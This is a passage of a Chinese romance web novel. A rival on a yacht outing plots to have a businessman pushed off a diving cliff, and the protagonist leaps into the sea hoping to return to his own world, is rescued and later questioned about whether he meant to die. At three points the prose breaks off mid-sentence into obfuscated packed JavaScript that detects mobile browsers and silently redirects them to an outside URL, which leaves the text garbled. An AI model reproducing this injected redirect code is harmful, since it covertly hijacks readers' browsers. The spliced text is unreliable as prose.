叶宁正在回秦乐舟的消息,闻言,没抬头,没看徐梁瑞,视线只是在那杯冰涔涔的酒上停留一瞬。 还不待叶宁开口,一旁的翟文星先说了话:“赏什么赏,叶宁一上午都没吃什么东西,让人空腹喝酒,你以为都是你啊。” 在场几乎没人觉察到徐梁瑞别样的心思,只当他在尽“地主之谊”,毕竟这游轮上还印着大溪集团的标志。 “酒看着不错,”翟文星走过来,端起叶宁面前那杯,“我替叶少代劳?” 叶宁自然没意见,很浅地笑了下,示意他随意。 徐梁瑞头一次见叶宁露出笑意,即便不是给他。 他收好表情,耸了耸肩。 “刚见面,招呼也不打,上来就送酒,我都替你臊得慌。”翟文星看着徐梁瑞。 “哪能啊,”徐梁瑞声音别有深意,“在楼下的时候已经见过了。” 他话音刚落,一群人都有些诧异,连翟文星都侧过头看向叶宁,眼神询问。 叶宁点了点头:“一层甲板的时候遇到徐少了。” 徐梁瑞眼神没从叶宁脸上离开过,听到叶宁的声音,立刻道:“叶少不介意的话,喊我梁瑞就可以,或者喊我的英文名,Asher。” 叶宁没答。 徐梁瑞语气端得很礼貌,周围一群人只是笑笑,只有倪桐和姚博文皱了皱眉。 那边徐梁瑞又起了头,说自己在附近有座岛,没开发,纯天然,但景致不错,是个钓鱼的好地方,要不要过两天一起去玩玩。 ——话没有对着叶宁说,但视线三不五时就往叶宁那边去。 “大溪这三少爷…”姚博文觉察出一点不对劲,“是不是殷勤了点?” 又是荔枝乌龙,又是钓鱼的。 还Asher。 “还是我想错了?”姚博文看向陆司淮。 陆司淮神色不知道什么时候起变得很淡,在有些刺目的天光映衬下,眉眼轮廓甚至显出几分锐利来。 他没说话。 就在姚博文以为陆司淮不会回答的时候,他听到身旁人的声音。 “你当他为什么没喝那杯酒。” 姚博文还反应了一会,才反应过来这个“他”指的是叶宁。 - 游轮又行驶了两个小时,下午三点,在一座小码头靠岸。 “这岛叫汉马岛,半开放,算个小景点,岛上那幢别墅三年前刚建的,”翟文星没有多介绍,三两句说完,随即伸手一指,“那片就是情人崖,等会跳水的地方。” 一群人顺着翟文星手指的方向看过去,浪与岸衔接地带往上,就是嶙峋的黑色缓梯形岩壁,在平静海面的参照下,显出一种狰狞的美感。 以仲俊豪为首的几人晒了一上午,就等着这片崖,不等翟文星多说,脱了上衣就朝着那边跑,其余人慢悠悠跟在后头。 别墅管家早就已经等在岸边,将一行人的衣物和手机叠好放在框里,一边整理,一边介绍岛屿,再度提起情人崖。 “为什么叫情人崖?”叶宁目光停留在那片崖岸上,随口问。 翟文星从没想过这个问题,转头看向管家。 管家难得被问倒,过了一会才开口:“很早前就叫这个名字了,就一直传下来。” 好在叶宁也就是随口一问,话题揭过。 翟文星看了叶宁一眼,放慢脚步,走到倪桐身边:“好像还没哄好?” 不知道是不是他的错觉,总觉得自叶宁从房间出来后,沉默不少,好几次他都看见叶宁站在护栏边,盯着海面看,不知道在想什么。 倪桐也有种说不上来的感觉,最后只能将其归结于小情侣吵架。 “大概率没哄好,”倪桐说,“两人都没怎么说话。” 翟文星:“我看陆总也不像个会哄人的,说不定下船就要被甩了。” 倪桐差点翻白眼:“你盼人点好吧,缺不缺德。” 陆司淮没听到队伍末尾两人的蛐蛐声,看向距离自己几步远的明显心不在焉的叶宁,微不可察地皱了皱眉。 - 岛上一群人离崖越来越近,停靠的游轮上也忙着收拾局子。 陶鑫磊检查完赛道,正坐在观赛台休息,听到一阵急促的脚步声。 他一抬头,丁力从楼下跑上来。 “磊子,你快、快听听这段录音,拉到30分钟的时候。”丁力跑得上气不接下气,还不忘把手机递给陶鑫磊。 陶鑫磊一头雾水:“怎么了?” “下午的时候,主管给几个人开了个小会,把明天的行程和安排过了一遍,我怕记不住,就开了录音,后来翟少不是喊我们去帮忙挪一下遮阳伞吗,那边喊得急,我就忘了收手机,刚刚去找的时候手机里突然多了一段对话,提到了云想的陆总。” 丁力原本是没太留意云想的,毕竟这船上随便拿一个人出来,背后的家族都比云想更重,可上午刚被陶鑫磊提醒过给陆总“上星”,丁力莫名其妙就上心了,于是立刻来找人。 “淮哥?”陶鑫磊一听有关云想,一下子紧张起来,可录音拉了半天都没声音,丁力一把拿过,循着记忆往后一拉—— 一道吱呀声从手机里传来。 是开门的声音。 紧接着,一道人声响起:“没人吧?” “没人,都被翟少喊去帮忙了。”另一道人声回复。 “我在手机上跟你说的事都清楚了?” “清楚是清楚了,但你确定不会出事?” “你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14027728|148492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己天天在情人崖那边跳水做教练,那崖会不会出事你不知道?才这么点高。” “可是……” “别可是了,记住了,这事你干得漂亮点,干好了,徐少还另有奖励。” “你放心,徐少只是想让云想的陆总吃点教训解解气,没想怎样,别磨磨唧唧的,等会儿看准时间,装作在岸上教翟少他们跳水技巧,趁没人看见,把人推下去。” “到时候我会在岸上喊陆总掉下去了,你就装作什么都不知道的样子,等人在水里挣扎一会,你再下水去救。” “越狼狈越好,事情办好了,徐少这张卡就是你的。” “行。” 人声到此停止。 陶鑫磊根本没想到参加个游轮宴会还能有人阴淮哥,一下子炸了,立刻掏出手机。 第一个电话,没打通。 第二个电话,仍旧没打通。 “可能是信号不好,”丁力提醒道,“领事之前说了,这岛位置有点偏,很多地方没信号,情人崖又是最边缘的位置,你再等等,别急!” 淮哥都要被人阴了,陶鑫磊哪里等得住。 他想也不想,深吸一口气,拍了拍丁力的肩膀:“谢了兄弟,这事我记下了。” 说完,拿着手机,一个箭步扭头跑向情人崖。 与此同时,叶宁站在崖岸边,看着底下平静的海面,久久无话。 海面闪着细碎的光,像一面打着金色绳结的网。 叶宁无意识走近一步—— 手腕蓦地被人拉住。 带着些许凉意的、不容忽视的力道带着他往后退开。 叶宁转过头。 海风拍岸,他和陆司淮在海风中对视。 “别靠太近。”陆司淮说。 四周很吵,人群笑闹的动静、海浪声响糅杂着,散在海风里,被吹得很远。 叶宁耳边却好像只剩下陆司淮的声音。 良久,久到陆司淮微凉的掌心都浸上叶宁的体温,叶宁才应了一声:“嗯。” 他小幅度地扭了扭手腕示意,陆司淮松开手。 周遭像是被重新注入空气,吵闹起来。 教悬崖跳水技巧的教练被人围着,正在分发安全设备,几个穿着制服的海乘在布置休息场地。 原本几个高嚷着要跳水的人,在站到断崖边的一瞬间,腿有些软了。 在码头渡口朝上看,只有一点高的岸崖,站在崖边之后,视觉效果惊人。 “要不,去下面的跳水点?” “认怂啊?” “来都来了。” “谁认怂了,才十米,吓唬谁呢,你等我拉伸完,看我跳不死你!” 岸上人潮涌动起来,套护膝的套护膝,问入水技巧的问技巧,不打算下水的几个人戴着墨镜朝撑好的遮阳伞下走。 人声沸扬,没人注意崖岸西侧一角的两人。 陆司淮松了手,却没走开。 叶宁不知道该说些什么打破沉默,一道人影朝着他和陆司淮的方向走过来。 是姚博文。 叶宁认出人,偏过头,对着陆司淮开口:“有人找你。” 他话音落下,姚博文刚好走到身后,手上还拿着手机。 “老爷子的电话,说是急事。” 陆司淮看着屏幕上“爷爷”两个字,停顿片刻,拿过手机,转身时,却停下脚步,看了身后的叶宁一眼。 “看着他,别让他靠崖太近。”陆司淮对姚博文说。 姚博文:“???” “看着……”姚博文还想说完,陆司淮已经接起电话走远。 姚博文满头问号。 看着谁?看着叶宁?别让他靠崖太近? 他没记错的话,叶宁是20来岁,不是两三岁吧? 这还要人看着? 15.坠海 崖岸边信号不算好,叶宁看着陆司淮走到东侧角落才停下脚步。 叶宁莫名松了一口气,可一偏头,看到了姚博文。 他没走,仍旧站在这边。 叶宁有些疑惑。 他知道陆司淮在走之前对姚博文说了一句话,但没听见说了什么,他也没心思打探,只是困惑地皱了皱眉:“姚总有事?” 姚总:“……” 姚博文清楚地看见叶宁眼中“你为什么还不走”的疑问。 天杀的他也想知道自己为什么要站在这里! “呃…没事,”姚博文直觉他不能把陆司淮刚刚说的话跟叶宁说,于是编了个谎:“就是觉得这边风景不错,来看看。” 叶宁脑子很乱,现在只想一个人待着,于是顺着姚博文的话点了点头,然后走开。 “那我不打扰姚总赏景了。” 姚博文:“……” 姚总就是脸皮再厚,此时也不好再跟上去。 他看着叶宁走远的背影,又看了看周遭。 这么多人都在,总不至于出岔子。 姚博文最终收回视线。 而不远处的一个海乘看着崖边接电话的陆司淮,转过头,朝着身边的教练使了个眼色。 教练点头,朝着陆司淮走过去。 情人崖不像一般的跳水崖只有细窄的台子,它连绵一片,错落的岩石缝隙间生着模样奇特的草木,最西侧的位置还栽着几株人工种植的木麻黄树。 许是长了很多年,根系已经扎得很深。 树被养得很好,挺拔繁茂,足够将一个人的身影藏住。 叶宁就避着人群,站在崖边,被树影笼罩。 海风拂过脸庞,像长辈温柔的手。 叶宁静静看着海面,思考了一下午的念头一齐涌上来。 如果跳下去,能回去吗? 如果回去了,这个世界会不会回到正轨? 如果回去了…他跳下去,会不会吓到翟文星他们?还有这个世界的爷爷,会不会知道他落水的事? 那如果…没回去呢? 海风依旧温柔,吹着身后木麻黄的枝叶,发出轻软的摩擦声。 它们都没能给叶宁答案。 可叶宁总有种预感,心底的那道声音告诉他,跳下去,他得试一试。 那种预感很强烈。 所有念想和顾虑在心底一一闪过,叶宁遥遥望向天际,最终脑海里只剩下一句话。 十月了。 再过一月就是霜降,南山的柿子该红了。 “柿子该红了。”叶宁低着头,很轻地说了一句。 柿子红了,他还要去南山给爸妈扫墓呢。 今年还多了一个小老头。 他得回去。 来到这个世界后,他都没梦见过爷爷。 小老头一定生气了。 就让他试这一次。 只这一次。 如果醒来还在这里,那他再跟翟文星和爷爷道歉。 叶宁闭上眼睛,脑海却忽然闪过一只骨节分明的手。 海风拂过腕间,有点凉,像是残留着一道不属于自己的体温。 叶宁眼睫不自觉颤了颤…如果醒来还在这里,那顺便也给陆司淮道个歉吧。 叶宁深吸一口气,最终朝着崖岸的方向往前走了一步,纵身一跃—— 就在叶宁即将坠入海面的瞬间,远处提前传来“扑通”落水声。 翟文星几人还在思考是谁做了第一个吃螃蟹的,却听到一位海乘的尖叫声:“不好了,陆总怎么掉下去了,快救人!” 海乘暗喜的神情几乎要藏不住,心神都被任务完成的好消息占据,刚要去寻找徐梁瑞的身影,一转身—— 陆总怎么站在这里? 他不是应该在海里吗? 陆总站在这里,那刚刚在海里的人是—— 他猛地往下一瞥,看到一道熟悉的橙色身影。 ——正是要把陆司淮推下海的教练。 海乘失去所有反应力,呆愣在原地。 然而就在他化为木桩的间隙,在离教练几十米远的地方,“砰”一声,被骤然破开的水面掀起一道白色浪痕,有什么东西坠入海中。 翟文星他们还没从那句“陆总掉下去”的尖叫中回过神来,耳边紧接着又是一道“扑通”声。 声音有点远,有点偏,可所有人听了个正着。 翟文星脚步微乱,朝着声音的方向循声往下看,边看边说:“谁胆子这么大,怎么不打声招呼……” 翟文星目光只能抓住一点白色的身影。 很普通的白色,今天这艘船上最常见的颜色,就连翟文星自己现在也是一件白色的短袖。 可在这一瞬间,翟文星就像一个被提前透题的学生,还不等他思考,一个答案已然出现在脑海。 他猛地回过头,朝着岸上那群人喊:“叶宁呢?叶宁在不在!叶宁呢!” 一道风声由远及近,从翟文星耳边快速擦过。 风声过后,又是“砰”一声。 又一道声音自底下水面传来。 翟文星堪堪只能看到一抹影子,他声音凝滞:“刚刚跳下去的……又是谁?” 朝这边疯涌的人潮给了他答案。 “靠靠靠!陆总怎么也跳下去了?” “怎么回事啊?!” 翟文星周身像是被闪电过了一遍,电光石火间,他猛地想起一件事来,嘶声朝着远处还在发懵的教练喊:“愣着干什么,救人啊!叶宁没穿防护服!” 他话音落下,又有两个人跃入海中。 这次翟文星看清了,是姚博文和徐梁瑞。 之前还隐约能看见的属于叶宁的白色身影彻底消失在海面,翟文星着急地算了算时间,叶宁没有浮出水面换气。 翟文星再也等不住,随手抓过几个救生用具,跟着姚博文和徐梁瑞纵身一跳。 “文、文星怎么也下去了?!” “操!文星都下去了,还等什么啊!” “右边!叶宁跳的位置好像在树那边!我们从那边下!” “桐姐我真是求求了,你就别跳了,我知道这边不算高,出不了事,但万一……靠,你属泥鳅的啊!” “倪桐怎么也下去了!!!” 岸上混乱到无以复加。 等陶鑫磊和丁力气喘吁吁跑过来,看到的就是这样一幕—— 平日最注重形象的几位千金趴在悬崖边高声喊着左边右边,一群少爷抄着岸边的救生手环、救生衣,下饺子似的一个接着一个争先扎进海里。 丁力这辈子都没见过这样的场景,惊得嘴巴都在打哆嗦。 而此时的海面下。 冰冷的海水将叶宁彻底吞没,黑暗、窒息、无声,一望无际的海,叶宁却不觉得害怕,他闭着眼睛,没有挣扎,没有叫喊,像是一艘因为触礁静静沉没的小船。 海水冲撞着,氧气越来越薄,叶宁好像听到血液流过耳部血管的声音。 这感觉和他刚穿到这个世界的时候很像。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14037896|148492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叶宁渐渐松开攥着的拳头—— 腰间骤然一紧。 叶宁还来不及思考什么,他已经被人托起。 周身的海水以一种不规则的力量重新涌动,不断向上,叶宁只觉得越来越温暖,像是在靠近阳光。 “砰——” 破开水面,轻薄却拥挤的氧气占满胸腔。 “找到了找到了!” “快上岸!” “文星,别往那边游了!陆总找到叶宁了!” 海浪声挟着谁的呼吸声落在叶宁耳畔,一下一下,叶宁本能地呛出一口冷水,呼吸急促起来,和耳畔的声音缠在一起。 周身的漂浮感骤然消失,身体悬空,他像是被人抱着走了一段路,然后安稳放在温暖的地面。 日光打在脸上,叶宁无意识皱了皱眉,被海水浸成一缕一缕的睫毛颤了颤,下一秒,有人将他眼睫上的海水轻轻抹去。 叶宁缓缓睁开眼睛。 乍破的天光顺着他还没恢复力气从而显得格外吃力的眨眼频率,忽明忽灭落在这人眉眼间。 叶宁思绪仍然是空白的,像是还搁浅在海里。 他看了很久,失焦的眼睛才重新有了落点,他极其缓慢地抬起手,冰凉的掌心贴在陆司淮的脸侧。 温热的。 能触碰的。 真实的。 是陆司淮。 “还在这里啊。”叶宁喃喃说了一句。 原来没回去。 跳进海里也没能回去。 叶宁忽地有些难过。 翟文星他们七手八脚从海里爬上来,入眼的就是这样一副场景。 陆司淮将叶宁抱在怀里,叶宁浑身湿漉,发尾眼睫都留着水痕,白色衬衣贴身,却并不狼狈,他小心翼翼抬起手去触碰抱着他的那人,眼眶通红,像是在哭。 翟文星心中如飓风过境。 从知道叶宁跳下水到跟着跳下去再到现在上岸,他心中就反反复复闪过一个问题:叶宁为什么突然跳下去? 而现在看着眼前这一幕,再想起叶宁跳海之前,岸边那一声“陆总怎么掉下去了”,翟文星总算知道缘由。 ——叶宁以为陆司淮出事了,所以跟着跳了下去。 靠,他之前竟然还怀疑陆司淮下船就要被甩了! 可眼下显然不是多想的时候,翟文星一把拿过刚送过来的浴巾,递给陆司淮:“先给他擦擦。” 陆司淮一言不发接过浴巾,替怀里的人简单擦过发尾。 “哪里疼。”陆司淮问。 叶宁像是反应了好一会,摇了摇头。 陆司淮用浴巾将人裹住,朝着翟文星淡声说了一句“我先带他回别墅”,然后抱着人转身朝后走。 剩下身后一群瞳孔地震的人,在汉马岛午后的风中彻底凌乱。 陆司淮抱着叶宁已经走远,可岸上仍旧无人说话,所有人入定似的停在原地。 直到一道茫然的女声打破死寂。 “刚刚…叶宁说了一句什么?” “我没听错的话,好像是…你还在这里…什么的?” “…什么意思?” “还能有什么意思,你还在这里,就是幸好你还在这里,幸好你没出事……” “这话是对云想这位陆总说的吧?” “总不能是对我们说的……” “所以叶宁这么慌张跳下去,是以为陆总掉进海里了?” “所以他们两人这是……” “……” 死一般静寂。 16.为什么跳下去 海风熏得人眩晕,话说到这里,一切都在不言之中。 良久,久到潮水已经起伏八|九回,岸上不知哪个角落传来一声脏话—— “操。”仲俊豪在天幕中抬起头,仰望上方在日光沐浴中显得越发伟岸的断崖。 “不愧是情人崖,牛逼。” 所有人:“……” 在一群人瞻仰那片断崖,感叹名不虚传的时候,只有站在一旁的姚博文没有动静。 他皱着眉,脑海不断重现陆司淮接电话前跟他说的那句话。 “看着他,别让他离崖太近。” …就好像陆司淮知道叶宁会“掉”下去一样。 为什么? 还没等姚博文想出答案,身侧突然跑上来一个人。 陶鑫磊表情极其严肃,三两句话把录音的事情告知了姚博文。 “徐少?”姚博文想着录音里提到的名字,“徐梁瑞?” 陶鑫磊:“应该是。” 他着急忙慌道:“博文哥,要给淮哥打电话吗?” 姚博文偏转过头,看向不远处的别墅,沉默片刻。 “叶宁还不知道怎么样了,你看他像是有时间处理这事的样子吗。”姚博文如实说着,紧接着,转身走向翟文星。 几分钟后,偌大的空地上只剩下几人。 翟文星听完录音,不可置信地转头看着徐梁瑞。 “徐梁瑞你疯了吧!”翟文星连表情都维持不住,“你是不是在国外待久了,不知道叶宁是谁了?他要是在船上出一点事,你看看你家老爷子饶不饶你!” 徐梁瑞脸色难看:“我没想伤他。” “有区别吗?我问你有区别吗?你刚刚是没看到吗?叶宁听到陆司淮掉进海里跟着就跳下去了!上来第一句话也是问的陆司淮,你伤陆司淮跟伤叶宁有什么区别!” 刚刚徐梁瑞的表情顶多算难看,现在几乎已经彻底黑脸。 “我说了,我、不、知、道。” “行,”翟文星气笑了,“我就当你不知道。” “那我就问你,为什么要找陆总的麻烦。” 翟文星是真的想不通:“别跟我说什么抢生意那一套,这船上这么多人,谁家没点手段?真要论起来,海金牵头这次枢纽联盟,也算抢了你家的生意,你难道也想把我推下去?” 徐梁瑞咬着后槽牙,整张脸绷得很紧。 他没回答翟文星的质问,只说:“我比你多知道一点的是,叶宁前段时间关停了一家车厂,车厂背后老板是陆司淮。” 翟文星不明白话题是怎么突然跳到这里的。 “所以呢?人家情侣吵架和你要推陆司淮下去有什么联系?” 徐梁瑞的脸色被“情侣吵架”四个字弄得越发难看,几乎能沉出水来。 翟文星:“说话啊,你……” “徐少。”一旁被翟文星留下的倪桐突然开口,打断了翟文星的质问。 “云想抢大溪的生意只是其中一部分原因吧,最主要的原因是,你以为叶宁和陆总不和,想借机接近叶宁。” 翟文星更糊涂了:“接近叶宁也不用这种法子吧。” 倪桐没理会翟文星的话,一字一字道:“你对叶宁有别的心思。” “什么别的……”翟文星突然反应过来,猛地看向徐梁瑞。 这下,连站在一旁始终未发一言的姚博文都抬起头看过来。 陶鑫磊和丁力已经大气不敢喘。 徐梁瑞表情陷在阴影里,良久,他冷笑一声:“一个在云江插旗摆道的新家子,叶宁看上陆司淮什么了。” 俨然就是变相承认他对叶宁有别的心思。 这都算什么事,翟文星正想张口,却忽然听到姚博文的声音。 “那真是不好意思了。” 一群人转过头去。 只见姚博文慢条斯理地擦干净眼镜上的水渍,戴上,然后直直看着徐梁瑞。 “徐少这心思怕是要落空了,”姚博文道,“没办法,虽然我们云想陆总是来云江插旗摆道的新家子,没有徐少家大业大,可就是被叶少看上了。” 陶鑫磊攒了一肚子的火,也在这一瞬间冒了出来:“是,你说得没错,前段时间叶少的确停了我们车厂,但你根本不知道他这么做的原因就是为了见我们淮哥!你不知道叶少有多喜欢我们淮哥!看都不会看你一眼!你死心吧!” “你他妈……”徐梁瑞握着拳头朝着陶鑫磊冲上去,被翟文星死死拦住。 “还没疯够是吗!”翟文星一边拦,一边扭头对姚博文抱歉道,“对不起姚总,今天这事一定会陆总一个交代的,教练和那个海乘我们也会处理,等他冷静下来,我让他上门给陆总道歉。” 岸上混乱程度一点不输叶宁刚坠海的时候。 可叶宁对此一概不知。 别墅管家早就收到主家消息,喊来医生在房间等着。 叶宁安安静静被陆司淮抱上楼,没说话,没动,甚至没有抬头看陆司淮一眼。 他乖顺地垂着头,靠着陆司淮的胸膛。 哪怕中间隔着衣服和厚实宽大的浴巾,仍然能听到陆司淮清晰有力的心跳声。 陆司淮将人小心放在床上,三两句讲完溺水的时间、断崖的高度,医生随即开始检查叶宁的身体。 几分钟后,医生长松一口气:“还好时间不长,溺液及时呛出,没什么大碍。” “但毕竟已经入秋,海水冷,又受了惊,可能会着凉,等会儿让厨房煮点姜梨汤,先驱驱寒。” 陆司淮点了点头。 医生收拾好器具,出门给翟文星回复消息。 房间再度安静下来。 “把湿衣服换了。”陆司淮从衣柜里拿出早先备好的睡衣和新浴巾。 叶宁却没接,他从床上起身,转了个方向,脚正要踩到地面,面前一道阴影压下来。 陆司淮已经站在他面前。 “要做什么。” 叶宁低着头看着地面,没看他:“洗澡。” 陆司淮停顿片刻,声音很淡:“能走么。” 叶宁手搭在床边被单上,点了点头,身体往前微倾,正要站起,耳畔又是一道低沉的声音。 “穿鞋。”陆司淮说。 叶宁怔了一下,后知后觉注意到自己还赤着脚。 陆司淮转过身,从床尾的位置拿过一双干净拖鞋,放在叶宁面前。 叶宁没动。 “要我给你穿?”陆司淮声音更淡。 “不用。”叶宁套上拖鞋,拿过床上的睡衣和浴巾朝着浴室方向走。 走到一半,他慢半拍地回过头。 陆司淮站在床尾看着他,同样一身湿漉。 从岸边到别墅这一路,这是叶宁第一次抬眼看陆司淮。 ……是他从没见过的陆司淮。 他眉头蹙着,目光沉沉地看过来,以往几次见面时的“随性”像是被刚刚那片海水冲刷干净,露出充满压迫感和锋锐的内里。 陆司淮在生气,心底有这么一个声音告诉他。 叶宁不知道陆司淮为什么生气,但本能告诉他,陆司淮生气的原因是因为他。 叶宁不解。 但他现在没力气哄人,他只是上前一步,将手里的浴巾递过去:“擦一下。” 陆司淮没接。 叶宁也不在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14045206|148492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意。 从海里被陆司淮托起的一瞬间,叶宁就已经放弃思考了。 什么剧情,什么男主,好像都溶在那片海里,变得不那么重要。 他只知道现在自己还回不去,也知道是陆司淮救了自己。 叶宁静静等了一会,陆司淮仍旧没动作。 他不想等了。 叶宁自顾自靠近,微微踮起脚,把浴巾披在陆司淮脖颈间,手指捧着浴巾,正要往上擦拭陆司淮还在滴水的发尾,手腕倏地被握住。 有点疼。 陆司淮力道有点重。 叶宁微微偏过视线,与陆司淮对视。 还在生气。 为什么生气? 叶宁眼中没有闪躲,没有逃避,只有疑惑和不解。 “不擦吗。”叶宁问。 “叶宁。”陆司淮喊了一声他的名字。 叶宁:“嗯。” 陆司淮静静看着他,很久,最终却只是说了一句:“去洗澡。” “我知道,”叶宁手还抓在浴巾上,听到陆司淮的话也没多少情绪,平静道,“这是套房,有两间浴室,你如果不想擦,那也去洗个澡,别着凉。” 说完,叶宁总算松开手,在陆司淮的视线中,转身走进浴室。 热水从头淋下的瞬间,叶宁半垂的眼睫很轻地颤了下,冷透的手指发出不自然的战栗。 他盯着墙壁冷白的瓷砖出神。 好累。 没回去,还弄出这一堆烂摊子,让一群人下水找他。 可是为什么没能回去。 还能回去吗? 叶宁发僵的思绪终于随着身体的回温重新运转。 在浴室待了将近一小时,叶宁擦干头发才出来,精神上的疲累让他只想躺在床上睡一觉。 他穿着长袖睡衣,刚走出转角,脚步顿住。 叶宁都忘了房间里还有一个人。 那人此时就站在房间露天阳台上,大概已经洗过澡,换了一件白色的短袖和黑色丝质长裤,衣服和裤子都很宽松休闲。 陆司淮在抽烟。 他倚着阳台乳白色的护栏,背对着光,模样隐晦,旁边就是一个透明的烟灰缸,指尖一点猩红在风中明明灭灭。 烟身已经下去半截,极浅的灰白气团将陆司淮的眉眼笼起,看不分明,带出一种浅薄的糜废感。 外头忽地起了风。 陆司淮终于抬起头来,隔着透明的落地窗,和叶宁对上视线。 视线短暂停留片刻,陆司淮将烟从唇角拿下,掐灭在烟灰缸里。 叶宁顺着他的动作下意识看过去。 烟灰缸里不只一个烟头。 陆司淮将烟灰缸放归原处,推开门,朝着叶宁走过来。 随着他的靠近,叶宁闻到他身上尼古丁苦涩的气息。 陆司淮径自走到床边,然后开口:“过来。” 从始至终,他的语气神态一直很淡。 叶宁干巴巴站了一会,顺着他的话走过去。 “姜梨茶,厨房刚熬好,趁热喝了。”陆司淮把杯子递过去。 “你喝过了?”叶宁端着茶,随口问了一句。 陆司淮没答。 叶宁没再问,也不嫌烫,几口喝完茶,把杯子放在床头。 任房间沉默小半分钟,陆司淮仍旧没什么动作。 也不知道该不该松口气,叶宁放弃了,他垂着眼,掀开被子,背对着陆司淮躺在床上,在陆司淮看不见的角落,抿了下嘴:“我……” ——“为什么跳下去。” 叶宁终于听见陆司淮的声音。 悬着的剑最终落下。 17.“哭什么” 房间安静到像是陷入什么真空地带。 在听到陆司淮声音的一瞬间,叶宁以为自己会慌,会像以往面对陆司淮那样顾此失彼,可事实告诉他,没有。 他听到这句话的第一反应竟然是——果然。 好像心里某个声音反复告诉他,陆司淮一定会问。 该说什么躲过去。 叶宁知道自己现在应该集中精神找一个看得过去的理由,别露出破绽。 可他脑海里浮现的唯一场景,是在起着风的悬崖边,陆司淮拉着他往后退的那一步。 以及那句,“别靠太近”。 叶宁沉默许久。 片刻后,他轻声开口:“对不起。” 陆司淮从没想过叶宁开口第一句话是跟他道歉。 他神色未变:“为什么说对不起。” 叶宁停顿片刻,才回答:“你说不要靠崖太近。” 陆司淮这次开口得很快,几乎在叶宁话音落下的瞬间便问:“所以你是因为离崖太近才跳下去的么。” 陆司淮用的是“跳下去”,而不是“掉下去”。 一下封死所有路。 叶宁一边听,一边目光虚无地看着枕头上的花纹。 其实理由也不是没有。 他可以跟陆司淮说是不小心掉下去的,是意外,是失足,是没看清脚下,或者索性更简单些,就是想和翟文星他们一样跳个水,毕竟大家都是为了这个来的情人崖。 都是理由,都是借口,可叶宁说不出口。 没缘由的,他不想对陆司淮撒谎。 叶宁搭在枕边的手指无意识攥了攥,又松开,仍旧没说话。 陆司淮许久没听到回答。 他站在床侧,看不见叶宁的神情,听不见他的声音,能看到的只有那人垂在枕侧,因为紧张微微蜷起的手指。 “叶宁。”陆司淮垂眼看着叶宁的侧脸,喊了他的全名,声音比之以往任何一次都要冷然,带着浓而重的情绪,“你想……” “我没有。”叶宁以一种彼此都没想到的方式干脆利落地截断陆司淮的话。 他从床上坐起,视线从枕头那不明晰的花纹转到陆司淮脸上。 “我没想…死。” 叶宁沉默许久,最终说出那个字。 ——连他自己也说不上为什么,在听到陆司淮喊他名字的瞬间,就知道陆司淮要说什么。 他的确没想死。 他只是想回去。 在入水的每分每秒,他都做好了自救的准备,只是想极尽可能撑到最后一刻。 因为他跟自己承诺过,只试这一次。 因为只试一次,所以不到最后一刻他不会放弃。 叶宁直视着陆司淮,但蓄起来的力气也在这一眼中消散殆尽。 因为他找不到支撑自己这话的证据。 就像他找不到回去的路。 只几秒,叶宁紧绷的肩膀卸了力,他垂下眼,像一个等待审判的说谎者,等着陆司淮继续问他“既然没想寻死,为什么跳下去,为什么在水里的时候丝毫不挣扎”。 可陆司淮没问。 叶宁等了很久,陆司淮依旧没问。 他只是站在床侧,安静地看着这边。 叶宁心口有什么东西缓而慢地安全降落,他说不上是庆幸还是什么,有那么一瞬间,他是想过和陆司淮坦白的,但也就那么一瞬间。 “陆司淮。”叶宁坐在床上,余光里是属于陆司淮的一片衣角。 “嗯。”陆司淮应了一声。 不知道是不是叶宁的错觉,这一声柔和了许多。 ——至少比刚刚那堪称冷然的询问要温和不少,叶宁心想。 叶宁独自消化完所有情绪,重新抬头,看着陆司淮,想说的话似乎很多,又似乎没有。 他很费劲地张了张口,最终却只说了一句。 ——“我不想说。” 他不想跟陆司淮说谎,但事实也的确无法言明。 叶宁没有办法了。 他知道“不想说”这种话听起来甚至比那句“我没想死”更敷衍,更像托词,可这就是他现在最想说的。 一切尘埃落定。 叶宁说完,垂下眼,不吵不闹坐在那里,等着陆司淮追问或是因为他的不配合而生气。 可下一秒,他听到一声很轻的叹息。 余光里属于陆司淮的那片衣角朝他慢慢靠近,慢慢靠近,最终落在眼前。 陆司淮坐在床侧的位置,将被子压出好几道不规则的褶皱。 “哭什么。” 叶宁终于听到陆司淮的声音,突如其来的话语让他本能地循声望去。 叶宁抬起头。 陆司淮皱着眉,语气算不上多好,周身的情绪依旧重得仿佛有实质,但声音总算恢复以往的温度。 叶宁还没反应过来陆司淮刚刚说了什么,面前的人已经抬起手。 陆司淮微烫的指腹轻轻抹过叶宁眼尾。 